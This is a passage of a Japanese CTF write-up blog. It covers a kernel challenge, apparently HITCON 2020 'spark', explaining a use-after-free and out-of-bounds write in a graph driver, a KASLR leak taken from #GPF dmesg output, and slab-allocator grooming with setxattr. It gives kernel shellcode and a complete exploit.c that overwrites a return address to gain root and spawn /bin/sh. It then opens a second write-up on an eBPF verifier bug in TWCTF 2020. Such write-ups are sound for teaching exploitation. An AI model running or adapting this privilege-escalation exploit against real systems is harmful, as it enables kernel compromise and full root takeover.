distances[next_edge_p->node_to->finalized_idx] = uVar4;distanceの更新を行っている。一見問題なさそうだが、 あるノードに繋がっているノードの中身は、vuln1のUAFを用いて任意に変更することができる 。よって、node_struct.finalized_idxが不正な値に書き換えられていた場合、このインデックスのバウンドチェックがないためOOB(W)が成立する。

 

4: KASLR bypass/leak

本問題はSMEP/SMAPが無効のためRIPが取れれば終わりである。まずはexploitに必要なkernstack及びnode_structが入るkernheapのleakをする。尚、node_structは0x80サイズのためkmalloc-128スラブキャッシュによって管理される。

leak自体は簡単で、vuln1のUAFを使った後に該当ノードを利用する操作をすれば GeneralProtectionFault (以降 #GPF と呼ぶ)が起きる。今回起動パラメタにoops=panicがないため、単にエラーメッセージを吐いてユーザプロセスが死ぬだけで済む。

f:id:smallkirby:20210209133103p:plain

leak via #GPF log


 

 

#GPFが起きた原因は0x922dd3f2227448b8というnon-canonicalなアドレスに対するアクセスである。この値はfreeされたノード中のポインタに該当し、これをdereferenceしたことによって#GPFが発生する。0x922dd3f2227448b8という値は、恐らくだがスラブ内のオブジェクトのfreelistにおける次のオブジェクトへのポインタであると考えられる。というのも、今回のkernelはCONFIG_SLAB_FREELIST_HARDENEDオプションが有効化されており、freelist内のポインタがkmalloc_caches[0][7].random ^ kasan_reset_tag()とのXORによってobfuscatedされている(glibcのtcacheにしても、考えることは同じだなぁ、みつお。)。さらに、kmalloc-128においてoffsetメンバが0x40になっているため、各オブジェクトの先頭から0x40にこのXORされたポインタが置かれることになる。

f:id:smallkirby:20210209133131p:plain

kmalloc-128

 

とうことで、この難読化されたポインタをnode_structのメンバとしてdereferenceすることによって#GPFが発生したものと思われる。ちゃんと確かめてはないから、知らんけど。

この#GPFによるエラーログをdmesgするか/var/log/kern.logを見ることでRSPからkernstackを、$R11からノードオブジェクトのアドレス(kernheap)をleakできる。

 

最近のdmesgについて

最近のUbuntuではdmesgなりでリングバッファを読むことが制限されているらし

い。adm groupに入っていればOKらしいから通常ユーザであれば問題ないだろうが、CTFの問題だとどうなんやろ。まぁUbuntu標準であってkernel標準じゃないからいいのかな。詳しいことはどこかを参照のこと。

 

5: UAFされてるノードを取ってきたい

さて、ここまでで諸々のleakが早くも完了しているため、一番要であるUAFされたノードのforgeを行う。これを行うためには、setxattr()によってUAFされたノードオブジェクトをピンポイントで取得してくる必要がある。

正直なところ、スラブアロケタの知識が未熟未熟メロメロみかんであり、いまいちどうやるべきか分からなかったため、ここで最初に挙げたPoCをカンニングした。

そこでは、 目的のノードを取得する前に0x12回同じサイズのオブジェクトを取得していた 。恥ずかしい話、僕はkfree()したオブジェクトはkmem_cache.cpu_slab->freelistの先頭に繋がるんだから、この0x12回の取得なんてせずにすぐにsetxattr()を呼べばUAF対象のノードを取得できるだろうと思っていた。

 

スラブアロケタについて

ここで、スラブアロケタについてお勉強し直した。SLUBかと思ったらSLABについて説明している資料を見て頭がこんがらがったり、詳解Linuxを読んで古すぎね?と思ったりした。結局はネットの日本語資料を若干チラ見しつつ、デバフォ付きのkernelとソースコードでひたすらデバッグして大凡全体像は掴めたつもりでいる。ここでスラブアロケタについての解説をしようとも思ったが、まじでこの資料の出来が良すぎてこれ以上のものなんてできやしない+時間の無駄だと思ったため、全体の解説は行わない。

【修正20200212】べた褒めしていた資料のリンクが、素晴らしい資料ではなく、筑波大の大して凄くない資料のものになっていたためリンクを修正。【修正終わり】

 

ただ、ざっくりとした概要と気になるところだけ少しメモしておく。

kernelはバディシステムからページごとに領域を確保する。バディアロケタはページ単位でしか領域を確保できないため、これを細かく分割して利用・管理するためのシステムが スラブアロケタ である。 スラブキャッシュ はオブジェクトの種類・若しくはサイズごとに分かれている。よく使う構造体(struct credなど)は専用のキャッシュが用意されているし、それ以外の構造体についてはブート時に確保されるキャッシュ(kmalloc-xxx)が利用される。後者はkmalloc_caches配列にスラブキャッシュへのポインタが確保されており、サイズごと且つ種類(GFP_KERNELとか)ごとにインデックス付けされている。

スラブキャッシュはCPU毎のスラブとNUMAノードごとのスラブ(複数)を持っている。NUMAはCPU・メモリブロック・両者を繋ぐメモリバスをひと単位とするノードを複数持つシステムであるが、正直よく分かっていないし、普通のパソコンでは恐らく以下の通りnode==1であるため、実質スラブはCPUに紐付けられたものが一つとそれ以外のスラブリストが一つと考えておいて良いと思う。

numa.sh
$ numactl --hardware
available: 1 nodes (0)
node 0 cpus: 0 1 2 3 4 5 6 7
node 0 size: 31756 MB
node 0 free: 1420 MB
node distances:
node   0
  0:  10

尚、今回はそもそもにシングルコア問だから尚更である。CPUに紐付けられたスラブはfreelistをもっており、これが オブジェクト のリストを構成する。CPUに紐付けられていないスラブはkmem_cache.node配列に ノード という単位でポインタが格納されており、一つのノードはkmem_cache.node.partialにスラブ(struct page)のリストを保持している。各pagefreelistにfreeなオブジェクトのリストを持っている。

 

per-cpu-dataについて

先程から出ている CPUに紐付けられた というデータだが、これはGDB上で以下のように見える。

kmalloc-128.c
$12 = {cpu_slab = 0x310e0, flags = 1073741824, min_partial = 5, size = 128, object_size = 128, reciprocal_size = {m = 1, sh1 = 1 '\001', sh2 = 6 '\006'}, offset = 64, oo = {x = 30}, max = {x = 32}, min = {
    x = 32}, allocflags = 32, refcount = 0, ctor = 0x1 <fixed_percpu_data+1>, inuse = 0, align = 0, red_left_pad = 128, name = 0x0 <fixed_percpu_data>, list = {next = 0xffffffff8235c772,
    prev = 0xffff88800f041a68}, kobj = {
    name = 0xffff88800f041868 "h\031\004\017\200\210\377\377h\027\004\017\200\210\377\377\334\306\065\202\377\377\377\377\200\031\004\017\200\210\377\377\200\027\004\017\200\210\377\377x\031\211\016\200\210\377\377`\031\211\016\200\210\377\377@\370o\202\377\377\377\377", entry = {next = 0xffffffff8235c772, prev = 0xffff88800f041a80}, parent = 0xffff88800f041880, kset = 0xffff88800e891978, ktype = 0xffff88800e891960,
    sd = 0xffffffff826ff840, kref = {refcount = {refs = {counter = 245636352}}}, state_initialized = 0, state_in_sysfs = 0, state_add_uevent_sent = 0, state_remove_uevent_sent = 0, uevent_suppress = 0},
  random = 12884901889, remote_node_defrag_ratio = 2734939157, useroffset = 3483165071, usersize = 1000, node = {0xffff88800f04e100, 0x8000000000, 0xffff88800f040e80, 0x0 <fixed_percpu_data>,
    0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310c0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x6000000060, 0x60155555556, 0x1e00000030, 0x2a0000002a,
    0x2a <fixed_percpu_data+42>, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x800000060, 0x0 <fixed_percpu_data>, 0xffffffff8235c6bd, 0xffff88800f041b68, 0xffff88800f041968, 0xffffffff8235c6bd,
    0xffff88800f041b80, 0xffff88800f041980, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea42b80, 0x300000001, 0x1cc8d0a44a4c82c4, 0x3e8, 0xffff88800f043180, 0x6000000000,
    0xffff88800f040ec0, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x0 <fixed_percpu_data>, 0x310a0, 0x40000000, 0x5 <fixed_percpu_data+5>, 0x4000000040, 0x50100000001,
    0x1e00000020, 0x4000000040, 0x40, 0x1 <fixed_percpu_data+1>, 0x0 <fixed_percpu_data>, 0x4000000040, 0x0 <fixed_percpu_data>, 0xffffffff8235c753, 0xffff88800f041c68, 0xffff88800f041a68, 0xffffffff8235c753,
    0xffff88800f041c80, 0xffff88800f041a80, 0xffff88800e891978, 0xffff88800e891960, 0xffffffff826ff840, 0xffff88800ea43a00, 0x300000001, 0x6a68fa625bc24bef, 0x3e8}}

これはstruct kmem_cache型のkmalloc-128の例であり、この内最初のメンバであるstruct kmem_cache_cpu型のcpu_slabがCPU毎のデータで、0x310e0という明らかに不自然なデータが入っている。これは勿論x/gx 0x310e0のように見ることはできない。

自前kernelを使っており、linux-providedなスクリプトが利用できる場合にはGDB$lx_per_cpu()関数によって指定したCPU毎のデータを参照することができるが、配布されたkernelの場合にはできない。その場合には以下の手順を踏む。(もっといい方法があったら教えてください)

 

【追記20200210】もっといい方法あると言うか、linux-providedなGDBスクリプトでも同じようにやってたから、多分これが正解だと思う。

torvalds/linux/blob/master/scripts/gdb/linux/cpus.py
    else:
        try:
            offset = gdb.parse_and_eval(
                "__per_cpu_offset[{0}]".format(str(cpu)))
        except gdb.error:
            # !CONFIG_SMP case
            offset = 0
    pointer = var_ptr.cast(utils.get_long_type()) + offset
    return pointer.cast(var_ptr.type).dereference() 

因みに__per_cpu_offsetが定義されるのはMultiProcessor(CONFIG_SMP)の時のみである。これはハードがシングルコアかどうかには関係ない(SMP設定でシングルコアでもこの変数は存在する。実際本問はその設定)

include/asm-generic/percpu.h
#ifdef CONFIG_SMP

/*
 * per_cpu_offset() is the offset that has to be added to a
 * percpu variable to get to the instance for a certain processor.
 *
 * Most arches use the __per_cpu_offset array for those offsets but
 * some arches have their own ways of determining the offset (x86_64, s390).
 */
#ifndef __per_cpu_offset
extern unsigned long __per_cpu_offset[NR_CPUS];

#define per_cpu_offset(x) (__per_cpu_offset[x])
#endif

また、CONFIG_SMPがない場合にもCPU固有のポインタは直接は格納されていない(ことがある? なんかどっちのパターンも見たことある気がするけど)。このような場合にはCPU固有のデータの取得は以下のように行われている。

f:id:smallkirby:20210212101115p:plain

ここで$R12kmem_cacheへのポインタを持っており、$RDXkmem_cache.cpu_slab.tid(cpu_slabのオフセットは0x0tidのオフセットは0x8)を入れることが目的である。見ての通り、$gsをベースとして取得していることが分かる。この時に使う$gsGDB表示上の$gsではなく$gs_baseであることに注意。

    gs             0x0                 0
    gs_base        0xffff88800f400000  -131391383666688
(gdb) p/x $rcx
$4 = 0x20200
(gdb) p/x $gs_base
$5 = 0xffff88800f400000
(gdb) x/gx $rcx + $gs_base
0xffff88800f420200:     0xffff88800e6720c0

【追記終わり】

 

 

- /proc/kallsyms | grep per_cpu_offsetを読む

ex.sh
ffffffff82426900 R __per_cpu_offset

- __per_cpu_offsetは、配列になっておりx番目のCPU用領域へのポインタが[x]に入っている。今回はシングルコアで動かしているため[0]だけが有効で他はみんな同じ値になっている。

ex.sh
(gdb) x/10gx 0xffffffff82426900
0xffffffff82426900 <knl_uncore_m2pcie>: 0xffff88800f600000      0xffffffff82889000
0xffffffff82426910 <knl_uncore_m2pcie+16>:      0xffffffff82889000      0xffffffff82889000
0xffffffff82426920 <knl_uncore_m2pcie+32>:      0xffffffff82889000      0xffffffff82889000
0xffffffff82426930 <knl_uncore_m2pcie+48>:      0xffffffff82889000      0xffffffff82889000
0xffffffff82426940 <knl_uncore_m2pcie+64>:      0xffffffff82889000      0xffffffff82889000

- 先程のアドレス0x310e0__per_cpu_offsetから読んだアドレスを足す。

ex.sh
(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
$1 = {freelist = 0x0 <fixed_percpu_data>, tid = 6035, page = 0xffffea0000367e80}

 

ちゃんとCPU毎のスラブ情報が読めていることが分かる。こっから話は逸れるが少しスラブの内容を追ってみる。freelistが現在0x0になっているため、次のkmem_cache_alloc()kmem_cache.nodeから空きオブジェクトのあるスラブを検索して入れ替えるであろうことが推測される。

ex.sh
(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}

新しいスラブがCPU専属のスラブになった。おまけでfreelistの先を見てみる。(今回offsetは0x40である)

ex.sh
(gdb) p *(struct kmem_cache_cpu*)(0xffff88800f600000+0x310e0)
$9 = {freelist = 0xffff88800da1f800, tid = 6040, page = 0xffffea00003687c0}
(gdb) x/2gx 0xffff88800da1f800+0x40
0xffff88800da1f840:     0x709bc8022e2ad9ea      0x0000000000000000

次のポインタが0x709bc8022e2ad9eaになっている。これは、スラブキャッシュが保有しているrandomというメンバの値でXORされたポインタである。厳密に言えば、slab_alloc_node()(fastpath)から呼ばれるfreelist_ptr()において以下のように復号される。

slub.c
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
				 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	return (void *)((unsigned long)ptr ^ s->random ^
			swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
#else
	return ptr;
#endif
}

randomの値を読むのは、(configによってkmem_cacheの中身が異なるから若干めんどいけど)スラブキャッシュ自体をみればいいだけだからそんな難しいことはない。けど、kasan_reset_tag()の返す値が何なのかいまいち分かってないため、未だにこのポインタの復号方法が分からないでいる。誰かご存知の方居たら教えてください...。

 

最初にkfreeされたノードは何処へ行くか

さてさて、少し前置きが長くなったが「freeしたばっかのノード(オブジェクト)がCPU専属スラブのfreelistの根っこに繋がる」という考えは間違いであった。というのも、exploitにおいては以下のようにalloc/freeを行っている。

exploit-alloc-free.c
  for(int i = 0; i < N; i++) {
    fd[i] = open(DEV_PATH, O_RDWR);
    assert(fd[i]);
  }

  (snipped...)
  close(fd[0]);   // vuln

  (snipped...)
  ALLOC_KMALLOC_128(0x12);
  setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);

ここで、UAFに使うノードfd[0]は最初のfor文の一番最初に確保され、同じforでN(==0x20)-1個の他のノードが確保される。その後で脆弱性のあるノードをclose(kfree)している。

このとき、 fd[0]を確保したスラブとfd[0]をcloseする際のCPU専属のスラブは明らかに別のページから取得されている 。というのも、kmalloc-128は以下のようになっている。

slabinfo.sh
$ sudo cat /proc/slabinfo | grep ^kmalloc-128
kmalloc-128         4884   5216    128   32    1 : tunables    0    0    0 : slabdata    163    163      0

左から利用しているオブジェクト数・全体のオブジェクト数・オブジェクト一つのサイズ・ 1スラブあたりのオブジェクト数 ・1スラブあたりのページ数・(0は飛ばして)アクティブなスラブ数・全体のスラブ数である。ここで1スラブあたりのオブジェクト数は0x20であり、最初のfor文で0x20回ノードを確保しているため、その途中で必ずCPU専属のスラブが枯渇し、NUMAノードのスラブと入れ替わることになる。よって、その後にcloseしても、fd[0]が所属するスラブとその時のCPU専属スラブは別のものであり、do_slab_free()ではslowpathが選択されて、cpu_slabfreelistではなくnode.partialfreelistに繋がることになる。 これが直ちにsetxattrしても目的のノードを取得できない理由である

 

目的のノードを取得する

ということで、最初にkfreeしたfd[0].private_dataを取得するには、CPU専属スラブをfd[0]をcloseした時のスラブに戻す必要がある。この時、どれだけkmem_cache_alloc_trace()を呼び出せば良いのかという問題がある。というのも、kernelでは実行が切り替えられ色々なパスが実行されるため、exploitの実行中にheapが利用され、現在のheapの状況が変わってしまうと考えられるからである。

結論から言うと、今回はkmem_cache_alloc_trace()する回数は完全に固定値で良かった。というのも、kmalloc-128を使うパスにブレイクを張ってexploitを動かしたところ、このexploit以外には全くkmalloc-128が使われていなかった。即ち、exploitでいじった以外にheapがいじられることはなかったため、heapの状態は完全に既知としてよかった。これが何故なのかは、正直分かっていない。直感的にはkmalloc-128を使うパスがexploitの途中で実行されてしまうような気がするが...。単にこのキャッシュが人気無いだけなのか、本問だけのなんか特殊な感じの理由があるのか。誰か知ってる方居たら教えてください...。

なにはともあれ、この前提のもとではfd[0]をkfreeした時のスラブがCPU専属になり、且つfd[0]freelistの根っこに繋がるまでkmallocを繰り返せば良い。この0x12回という回数だが、try&errorでこうなった(厳密には、上述のPoCに書いてあったからGDBで確かめたら確かにそうなっていた)。なんかすんなりと求められる方法を知っているひとが居たら(以下略。

これでfd[0]を取得したら、元fd[0]の中身を任意の値にforgeすることができる。

 

6: ノードの偽装

これで、vuln2を利用してkernheapを始点とするOOB(W)ができる。このとき、書き込むoffsetはnode_struct.finalized_idxによって操作でき、書き込む値はリンクのweightによって操作できる。そのためには始点となるdistance arrayを既知のアドレスに取得する(kmalloc)必要がある。これも、先程までと同じ考え方ができるようにリンクするノード数を工夫して、distance arrayのサイズが0x80となるように工夫する。その結果、#GPFでleakしたR11がそのままdistance arrayのアドレスとなるようにする。

 

7: kernel shellcode

このoverwriteはspark_graph_query()によって行われる。最初の#GPFでkernstackはleakしているため、この関数のスタックフレーム内のretaddrを書き換えればRIPを取ることができる。SMEP/SMAP無効のため、ユーザランドにおいておいたシェルコードでcommit_creds(prepare_kernel_cred())をすれば終わり。この2つの関数のアドレスは、シェルコードに飛んだ時のスタックに積んであるアドレスを利用する。

shellcode_nirugiri.c
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}

 

 

8: exploit

exploit.c
/* This PoC is completely based on @c0m0r1 's one. (https://github.com/c0m0r1/CTF-Writeup/blob/master/hitcon2020/spark/exploit.c) */
/* Also, some of the code is quoted from demo.c distributed during the CTF by author @david942j. */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <poll.h>
#include <assert.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>

// commands
#define SPARK_LINK 0x4008D900
#define SPARK_FINALIZE 0xD902
#define SPARK_QUERY 0xC010D903
#define SPARK_GET_INFO 0x8018D901
#define DEV_PATH "/dev/node"

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
#define N 0x20

// globals
static int fd[N];
struct pt_regs lk_regs;   // leaked regs
struct node_struct fake_node0;

const spark_graph_query_stack_offset = 0xFEB0;
/*
(gdb) p $rsp
$3 = (void *) 0xffffc900001dfea0
(gdb) set $spark_graph_query=$3
(gdb) set $leaked_sp=0xffffc900001efd50
(gdb) p/x (long)$leaked_sp - (long)$spark_graph_query
$5 = 0xfeb0
*/

#define WAIT getc(stdin);
#define ulong unsigned long
#define NULL (void*)0
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
ulong user_cs,user_ss,user_sp,user_rflags;
struct pt_regs {
	ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
	ulong bx;  ulong r11; ulong r10; ulong r9; ulong r8;
	ulong ax; ulong cx; ulong dx; ulong si; ulong di;
	ulong orig_ax; ulong ip; ulong cs; ulong flags;
  ulong sp; ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}
static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

static void shellcode(void){
  asm(
    "xor rdi, rdi\n"
    "mov rbx, QWORD PTR [rsp+0x50]\n"
    "sub rbx, 0x244566\n"
    "mov rcx, rbx\n"
    "call rcx\n"
    "mov rdi, rax\n"
    "sub rbx, 0x470\n"
    "call rbx\n"
    "add rsp, 0x20\n"
    "pop rbx\n"
    "pop r12\n"
    "pop r13\n"
    "pop r14\n"
    "pop r15\n"
    "pop rbp\n"
    "ret\n"
  );
}

struct spark_ioctl_query {
  int fd1;
  int fd2;
  long long distance;
};

struct edge;
struct node_info;
struct node_struct;

struct edge{
  struct edge *next_edge;
  struct edge *prev_edge;
  struct node_struct *node_to;
  ulong weight;
};

struct node_info{
  ulong cur_edge_idx;
  ulong capacity;
  struct node_struct **nodes;
};

struct node_struct{
  ulong index;
  long refcnt;
  char mutex_state[0x20];
  ulong is_finalized;
  char mutex_nb[0x20];
  ulong num_edge;
  struct edge *prev_edge;
  struct edge *next_edge;
  ulong finalized_idx;
  struct node_info *info;
};

static void _link(int fd0, int fd1, unsigned int weight) {
  assert(fd0 < fd1);
  //printf("[+] Creating link between %d and %d with weight %u\n", fd0-3, fd1-3, weight);
  assert(ioctl(fd0, SPARK_LINK, fd1 | ((unsigned long long) weight << 32)) == 0);
}

static void _query(int fd0, int fd1, int fd2) {
  struct spark_ioctl_query qry = {
    .fd1 = fd1,
    .fd2 = fd2,
  };
  assert(ioctl(fd0, SPARK_QUERY, &qry) == 0);
}

static void _finalize(int fd0) {
  int r = ioctl(fd0, SPARK_FINALIZE);
}

void invoke_gpf()
{
  printf("[+] invoking #GPF...\n");
  for (int i = 0; i < 3; i++) {
    fd[i] = open(DEV_PATH, O_RDONLY);
    assert(fd[i] >= 0);
  }
  _link(fd[0], fd[1], 1); // still, their refcnt==1
  close(fd[0]);   // node0's refcnt==0, then be kfree(), making floating-pointer
  assert(ioctl(fd[1], SPARK_FINALIZE) == 0);  // dereference invalid pointer in node0 and invoke oops, then child be killed.
}

void leak_kaslr()
{
  char buf[0x200];
  char dum[0x200];
  const char *format ="\
[    %f] RSP: 0018:%lx EFLAGS: %lx\n\
[    %f] RAX: %lx RBX: %lx RCX: %lx\n\
[    %f] RDX: %lx RSI: %lx RDI: %lx\n\
[    %f] RBP: %lx R08: %lx R09: %lx\n\
[    %f] R10: %lx R11: %lx R12: %lx\n\
[    %f] R13: %lx R14: %lx R15: %lx";
  float fs[0x10];
  printf("[+] leaking KASLR via dmesg...\n");
  system("dmesg | grep -A13 \"general protection\" | grep -A20 RSP > /tmp/dmesg_leak");
  FILE *fp = fopen("/tmp/dmesg_leak", "r");
  fscanf(fp, format, \
  fs, &lk_regs.sp, &lk_regs.flags,  fs, &lk_regs.ax, &lk_regs.bx, &lk_regs.cx, \
  fs, &lk_regs.dx, &lk_regs.si, &lk_regs.di,  fs, &lk_regs.bp, &lk_regs.r8, &lk_regs.r9, \
  fs, &lk_regs.r10, &lk_regs.r11, &lk_regs.r12,  fs, &lk_regs.r13, &lk_regs.r14, &lk_regs.r15);
  fclose(fp);
  print_regs(&lk_regs);
}

void forge_fake_node(struct node_struct *fake_node, ulong finalized_idx){
  fake_node->index = 0xdeadbeef;
  fake_node->refcnt = 0xdeadbeef;
  fake_node->is_finalized = 1;    // prevent deeper traversal.
  fake_node->num_edge = 0;
  fake_node->prev_edge = NULL;
  fake_node->next_edge = NULL;
  fake_node->finalized_idx = finalized_idx;
  fake_node->info = NULL;
  memset(&fake_node->mutex_nb, '\x00', 0x20);
  memset(&fake_node->mutex_state, '\x00', 0x20);
}

#define ALLOC_KMALLOC_128(NUM) for(int i=0; i<NUM; ++i) open(DEV_PATH, O_RDWR);

int main(int argc, char *argv[]) {
  if(argc == 2){
    // invoke #GPF and Oops in the child and leak KASLR via dmesg
    // FYI: dmesg is restricted to adm group on the latest Ubuntu by default.
    // cf: https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-20.10-Restrict-dmesg
    invoke_gpf();
    exit(0);    // unreachable
  }else{
    const char *cmd = malloc(0x100);
    sprintf(cmd, "%s gpf", argv[0]);
    system(cmd); // cause #GPF
    leak_kaslr();
  }

  for(int i = 0; i < N; i++) {
    fd[i] = open(DEV_PATH, O_RDWR);
    assert(fd[i]);
  }

  // distance array became the size of 0x80
  _link(fd[1], fd[3], 0x1);       // fd[2] is used to retrieve the very heap leaked by R11
  for(int ix=3; ix<0x11; ++ix){
    _link(fd[ix], fd[ix+1], 0x1);
  }
  _link(fd[0], fd[1], (ulong)shellcode + 8);     // this link should be at the very last
  close(fd[0]);   // vuln

  // forge fake node
  ulong write_target = lk_regs.sp - spark_graph_query_stack_offset;
  forge_fake_node(&fake_node0,(write_target - lk_regs.r11) / sizeof(ulong));
  ALLOC_KMALLOC_128(0x12);

  // retrieve fd[0]'s node(private_data)
  setxattr("/home/spark", "NIRUGIRI", &fake_node0, sizeof(fake_node0), XATTR_CREATE);
  close(fd[2]);       // retrieve the very heap leaked by R11 when #GPF.
  _finalize(fd[1]);
  // now, node1.info->nodes are... node1 -> node3 -> node4 -> node5 -> ... -> node0x11 (0x10)

  _query(fd[1], fd[1], fd[9]);
  // distance array (8*0x10) is kmalloced.
  // first, node1 is checked and distance[0] = -1.
  // then,  node0 is checked and distance[target] = shellcode.

  NIRUGIRI();
  return 0;
}

 

9: アウトロ

f:id:smallkirby:20210209133210p:plain

FLAG{ぷいぷいぷいぷいぷいぷいぷいもるか〜〜〜〜}

 

書いてしまえば単純だけど、デバフォなしでデバッグするのはだいぶしんどかったです。多分kernelのproからすれば初歩も初歩の話なんだろうけど、今までやんわりとで使ってきたスラブアロケタについて改めてコードベースで調べてデバッグできたのは今後役に立つと嬉しいねって近所の羊が言っておりました。

最近はCTFのモチベが低下していることもあり、なにか目標を決めて問題を解いて行こうと思っています。kernel強化月間のため何か良い感じのkernel問題集ないかなぁと思っていたら、hamaさんのブログに良さげなkernel(+qemu)の問題リストがあったため、これをぼちぼち解いていこうと思います。

 

ここまで書いてきましたが、プイプイモルカーって、なんですか???????

 

 

10: 参考

【A】スラブアロケタのいつ見ても素晴らしい日本語資料

https://kernhack.hatenablog.com/entry/2019/05/10/001425

【B】完全に参考にしたPoC

https://github.com/c0m0r1/CTF-Writeup/blob/master/hitcon2020/spark/exploit.c

【Z】ニルギリ

https://www.youtube.com/watch?v=yvUvamhYPHw

 

 

 

 

続く...

 

 

【pwn 42.0】eebpf - Tokyowesterns CTF 2020 (kernel exploit)

keywords

kernel exploit / eBPF / task traversal / TWCTF

 

 

 

このエントリは TSG Advent Calendar 2020 の25日目の記事です(は?)

昨日は ゆうれい さんで よわよわの、よわよわによる、よわよわのための競技数学 でした。

 

1: イントロ

キライな言葉はoptimized out。こんにちは、ニートです。

いつぞや開催された Tokyowesterns CTF 2020 。その pwn 問題である eebpf: Extended Extended Barkeley Packet-filetr を解いていきます。本問題kernel exploitです。

 

2: 問題概要

eBPFについて

最近なんかよく聞くeBPF。単純にトレース用途の話でも聞くし、LPEの餌食にもよくなっている印象。実際に、この問題を解く際のAAWを得るための方法は参考【A】を参考にした。eBPFの何たるかの概略もあるため一読の価値あり。参考【B】もeBPFのverifierの話である。

 

配布物

- bzImage : カーネルイメージ。

static.sh
/ $ cat /proc/version
Linux version 5.4.58 (garyo@garyo) (gcc version 9.3.0 (Buildroot 2020.08-rc3)) #4 SMP Sun Aug 30 18:36:40

- diff.patch : カーネルパッチ。後述。

- rootfs.cpio : ファイルシステム。特筆することなし。

- run.sh : SMEP/SMAP, KASLR, eBPF enabled.

 

patchについて

パッチでは、eBPFに対して新しい命令として ALSH を追加している。それに伴って対応するJITコードとverifierのコードが加えられている。32bitは対応していない。詳しい内容については以下で見ていく。

 

 

3: Vuln

まず大前提として、 x64においてALSHとLSHは全く同じ命令 (ニーモニックが違うだけ)である。よって、 LSHALSH のverifierに相違があった場合、どちらかが必ず間違っていることになる。ということで、まずはLSHの方のレジスタ更新を見てみる。

lsh.c
	case BPF_LSH:
		if (umax_val >= insn_bitness) {
			// bit幅を超えるシフトが起こったら追跡放棄
			mark_reg_unknown(env, regs, insn->dst_reg);
			break;
		}
		// シフトによって符号ビットが失われるため、一旦signedは追跡不能(全ての範囲を取り得る)
		dst_reg->smin_value = S64_MIN;
		dst_reg->smax_value = S64_MAX;
		//  0以外のbitがシフトで消えたら、もう何も分からん
		if (dst_reg->umax_value > 1ULL << (63 - umax_val)) {
			dst_reg->umin_value = 0;
			dst_reg->umax_value = U64_MAX;
		} else { // 0しか消えないから、追跡可能
			dst_reg->umin_value <<= umin_val;
			dst_reg->umax_value <<= umax_val;
		}
		// tnum_lshift()は単にdst.value << shfit, dst.mask << shiftするだけ
		dst_reg->var_off = tnum_lshift(dst_reg->var_off, umin_val);
		// var_offを見るとなにか分かるかも
		__update_reg_bounds(dst_reg);
		break;

続いてALSHの追加された実装である。

alsh.c
	case BPF_ALSH:
		if (umax_val >= insn_bitness) {
			// bit幅以上のシフトは放棄(OK)
			mark_reg_unknown(env, regs, insn->dst_reg);
			break;
		}

		// [VULN] 符号bit考慮せずに、smin/smaxを単純にシフトしている
		// (ここに到達するまでにソースの値が確定しているumin==umax)
		if (insn_bitness == 32) {
			//Now we don't support 32bit. Cuz im too lazy.
			mark_reg_unknown(env, regs, insn->dst_reg);
			break;
		} else {
			dst_reg->smin_value <<= umin_val;
			dst_reg->smax_value <<= umin_val;
		}

		// 単純にmaskとvalをシフトするだけだからOK
		dst_reg->var_off = tnum_alshift(dst_reg->var_off, umin_val,
						insn_bitness);

		// これはまぁOK(追跡可能な場合もあるけど、追跡不能としておいて悪いことはない)
		dst_reg->umin_value = 0;
		dst_reg->umax_value = U64_MAX;
		__update_reg_bounds(dst_reg);
		break;

脆弱性は、ALSHにおいてシフトの際に符号bitが考慮されていないこと。

